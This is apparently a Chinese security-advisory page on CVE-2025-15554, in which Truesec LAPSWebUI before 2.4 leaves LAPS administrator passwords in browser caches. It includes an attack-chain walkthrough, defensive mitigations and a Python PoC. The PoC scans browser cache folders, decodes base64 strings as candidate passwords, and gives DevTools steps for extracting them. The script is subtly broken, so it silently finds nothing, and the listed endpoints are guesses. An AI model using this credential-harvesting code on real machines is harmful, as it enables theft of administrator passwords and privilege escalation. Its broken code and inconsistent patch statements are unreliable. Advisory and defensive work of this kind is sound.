IPBUF安全漏洞报告
English
CVE-2025-15554 CVSS 7.8 高危

CVE-2025-15554: Truesec LAPSWebUI浏览器缓存LAPS密码导致本地提权漏洞

披露日期: 2026-03-16
来源: db4dfee8-a97e-4877-bfae-eba6d14a2166

漏洞信息

漏洞编号
CVE-2025-15554
漏洞类型
信息泄露/本地权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Truesec LAPSWebUI

相关标签

CVE-2025-15554信息泄露本地提权浏览器缓存LAPS密码TruesecLAPSWebUI高危漏洞权限提升凭据泄露

漏洞概述

CVE-2025-15554是Truesec公司开发的LAPS(Local Administrator Password Solution)Web管理界面中的一个高危安全漏洞。该漏洞存在于LAPSWebUI 2.4之前的版本,由于浏览器错误缓存了LAPS密码,导致具有工作站物理访问权限或本地访问权限的攻击者可以获取存储在浏览器缓存中的本地管理员密码。攻击者利用此漏洞可以实现本地权限提升,从普通用户权限提升到本地管理员权限,从而完全控制目标工作站。此漏洞的CVSS评分为7.8,属于高危级别。攻击向量为本地攻击(AV:L),需要低权限(PR:L),无需用户交互(UI:N),对机密性、完整性和可用性均造成高影响。LAPS是微软推出的一种集中管理本地管理员密码的解决方案,被广泛应用于企业环境以增强工作站安全性。然而,Truesec的LAPSWebUI在实现过程中存在安全缺陷,未能正确清除浏览器缓存中的敏感凭据信息,为攻击者提供了可乘之机。

技术细节

该漏洞的核心问题在于Truesec LAPSWebUI在处理LAPS密码查询请求时,浏览器会缓存包含敏感凭据信息的响应数据。攻击者可以通过以下方式利用此漏洞:

1. 物理访问或通过其他方式获取目标工作站的本地访问权限
2. 访问LAPSWebUI应用程序或触发密码查询操作
3. 浏览器在本地存储了包含LAPS密码的缓存响应
4. 攻击者可以通过访问浏览器缓存目录或使用开发者工具查看网络请求响应
5. 提取缓存中存储的Base64编码或其他格式的LAPS密码
6. 使用获取的密码以本地管理员身份登录目标系统

漏洞的技术根源在于LAPSWebUI未能实现适当的缓存控制策略(如Cache-Control: no-store, no-cache, must-revalidate),导致敏感凭据被存储在本地浏览器缓存中。此外,该应用缺少对缓存数据的加密保护,使得攻击者可以轻易读取缓存内容。攻击者还可以通过JavaScript或浏览器扩展程序读取本地存储的缓存数据。

攻击链分析

STEP 1
步骤1
攻击者获取目标工作站的物理访问权限或本地用户访问权限(通过社会工程、恶意软件或其他方式)
STEP 2
步骤2
攻击者访问Truesec LAPSWebUI应用程序,或诱导合法用户在系统上执行密码查询操作
STEP 3
步骤3
LAPSWebUI响应包含本地管理员密码,由于缺少适当的缓存控制头,浏览器将响应缓存到本地存储
STEP 4
步骤4
攻击者通过访问浏览器缓存目录、使用开发者工具或浏览器扩展程序读取缓存的凭据数据
STEP 5
步骤5
攻击者解码Base64编码或其他格式的LAPS密码,获取明文本地管理员密码
STEP 6
步骤6
攻击者使用获取的本地管理员凭据登录目标系统,成功实现从普通用户到本地管理员的权限提升
STEP 7
步骤7
攻击者可在目标系统上执行任意操作,包括安装恶意软件、窃取敏感数据或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15554 PoC - Truesec LAPSWebUI Browser Cache Password Disclosure # This PoC demonstrates how to extract cached LAPS passwords from browser cache import os import re import base64 from pathlib import Path def find_browser_cache_paths(): """Find potential browser cache directories""" cache_paths = [] user_profile = os.environ.get('USERPROFILE', os.path.expanduser('~')) # Chrome cache paths chrome_cache = os.path.join(user_profile, 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default', 'Cache') cache_paths.append(chrome_cache) # Edge cache paths edge_cache = os.path.join(user_profile, 'AppData', 'Local', 'Microsoft', 'Edge', 'User Data', 'Default', 'Cache') cache_paths.append(edge_cache) # Firefox cache paths firefox_cache = os.path.join(user_profile, 'AppData', 'Local', 'Mozilla', 'Firefox', 'Profiles') cache_paths.append(firefox_cache) return [p for p in cache_paths if os.path.exists(p)] def extract_cached_laps_passwords(cache_dir): """Extract potential LAPS passwords from cache files""" found_passwords = [] try: for root, dirs, files in os.walk(cache_dir): for file in files: file_path = os.path.join(root, file) try: with open(file_path, 'rb') as f: content = f.read() # Look for patterns indicating LAPS password data # Pattern 1: Base64 encoded passwords b64_pattern = re.compile(rb'[A-Za-z0-9+/=]{20,}') for match in b64_pattern.finditer(content): try: decoded = base64.b64decode(match.group()) # Check if decoded content looks like a password if len(decoded) >= 8 and len(decoded) <= 128: if any(c.isalnum() or c in '!@#$%^&*' for c in decoded): found_passwords.append({ 'type': 'base64_encoded', 'encoded': match.group().decode('utf-8', errors='ignore'), 'decoded': decoded.decode('utf-8', errors='ignore') }) except: pass except: pass except Exception as e: print(f"Error scanning cache: {e}") return found_passwords def check_browser_devtools_cache(): """Check for cached data in browser DevTools storage""" print("[*] Checking browser DevTools Application tab storage...") print("[*] Navigate to DevTools -> Application -> Storage -> Cache Storage") print("[*] Look for requests to LAPSWebUI endpoints containing password data") print("[*] Example endpoints:") print(" - /api/password") print(" - /api/laps/get-password") print(" - /api/admin-password") def main(): print("=" * 60) print("CVE-2025-15554 - Truesec LAPSWebUI Password Cache Extraction PoC") print("=" * 60) print("\n[!] This PoC is for educational and authorized testing purposes only") print("[+] Scanning browser cache directories...") cache_paths = find_browser_cache_paths() for cache_path in cache_paths: print(f"\n[*] Scanning: {cache_path}") passwords = extract_cached_laps_passwords(cache_path) if passwords: print(f"[!] Found {len(passwords)} potential LAPS passwords!") for pwd in passwords: print(f" Encoded: {pwd['encoded'][:50]}...") print(f" Decoded: {pwd['decoded']}") check_browser_devtools_cache() print("\n[*] Alternative method: Use browser DevTools Network tab") print("[*] 1. Open browser DevTools (F12)") print("[*] 2. Go to Network tab") print("[*] 3. Access LAPSWebUI and trigger password retrieval") print("[*] 4. Find the API response containing password data") print("[*] 5. Right-click -> Save to file") print("[*] 6. Parse the saved JSON/response for password field") if __name__ == '__main__': main()

影响范围

Truesec LAPSWebUI < 2.4

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 限制对工作站的物理访问,确保只有授权人员能够接触设备;2) 定期清除浏览器缓存,特别是在使用LAPSWebUI之后;3) 禁用浏览器的缓存功能或使用隐私浏览模式访问LAPSWebUI;4) 配置组策略限制浏览器缓存行为;5) 监控和审计LAPS密码的访问记录,及时发现异常访问行为;6) 考虑使用替代方案管理本地管理员密码,如原生微软LAPS或其他企业级密码管理解决方案;7) 在LAPSWebUI服务器端配置Web.config或.htaccess文件强制禁用缓存;8) 实施网络访问控制,限制只有管理终端能够访问LAPSWebUI服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表